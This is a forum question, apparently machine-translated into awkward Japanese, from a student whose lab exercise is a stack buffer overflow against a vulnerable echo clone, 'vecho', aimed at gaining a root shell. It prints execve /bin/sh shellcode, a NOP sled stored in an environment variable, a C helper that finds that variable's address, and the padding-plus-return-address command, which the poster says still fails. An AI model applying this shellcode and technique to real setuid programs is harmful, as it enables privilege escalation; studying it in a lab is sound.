私は、バッファオーバーフローを実行してvechoという脆弱なコマンドを使用してroot特権を得る必要があるラボを行っています(echoと同じ機能)。しかし私が何を試しても、私はそれを働かせることはできません。vechoを使用したバッファオーバーフローの悪用
.section .text
.globl _start
_start:
xor %eax, %eax // your comments go here
push %eax // and here, and so on...
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %ecx
push %ebx
mov %eax, %edx
mov $0xb, %al
int $0x80
私たちは、私たちはその後、そり
SLED=`python -c "print '\x90' * 100"`
を作る
export EGG=$(<shellcode.bin)
を行うことによって卵として保存された環境変数にこれをロードし、変数
export EGG=$SLED$EGG
にそりを追加します
次に、 EGGは、我々はこの
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv){
char *ptr;
if(argc < 3){
printf("Usage:%s<environmentvar><targetprogramname>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
を使用してvecho実行したときに私たちは、この
ADDRESS=echo -en "\xff\xff\xff\xbf"
そして十分な文字でパディング変数のような何かを行うことによって、リトルエンディアン形式でアドレス変数を作成になりますアドレスEIPにアドレスをプッシュし、その後に関係なく、私はパディングが小さすぎると、私はパディングがある場合にワンセグ障害、成功した印刷のいずれかを取得しようとするもの
vecho $PADDING$ADDRESS
を実行していないだけにあまりにも長く、中央の不正な指示。私はこのような違法指導の場所が重要だと思うが、私はそれを実際にシェルコードを実行することはできません。